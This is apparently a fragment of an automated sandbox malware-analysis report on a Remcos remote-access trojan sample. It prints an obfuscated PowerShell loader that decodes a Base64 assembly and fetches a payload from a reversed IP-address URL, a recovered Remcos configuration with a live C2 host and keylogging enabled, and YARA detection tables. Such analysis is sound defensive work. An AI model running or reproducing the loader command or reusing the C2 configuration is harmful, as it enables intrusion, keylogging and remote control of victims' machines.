[Sy s'+'tem.Co nvert]::Fr o'+'mBase6 4S'+'tring ({1}base64 Command);{ 1}loadedAs sembly = [ System'+'. Reflection .Assembl'+ 'y]::Load( {1}command Bytes);{1} vaiMethod = [dnl'+'i b.IO.Home] .GetMethod ({0}VAI{0} );{1}vaiMe thod.I'+'n voke({1}nu ll, @({0}t xt.HGGCRR/ 033/04.022 .3.291//'+ ':ptth{0}, {0}desati vado{0}, { 0}desativa do{0}, '+' {0}des'+'a tivado{0}, {0}RegAsm {0}, {0}de sativado{' +'0}, {0}d esativado{ 0}));') -F [Char]39, [Char]36)| invoke-ex presSIon" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - RegAsm.exe (PID: 4072 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "idabo.duckdns.org:6875:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-I89M3S", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Click to see the 45 entries | ||||
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
| JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
| JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
| Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
| REMCOS_RAT_variants | unknown | unknown |
| |
| Click to see the 29 entries | ||||
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||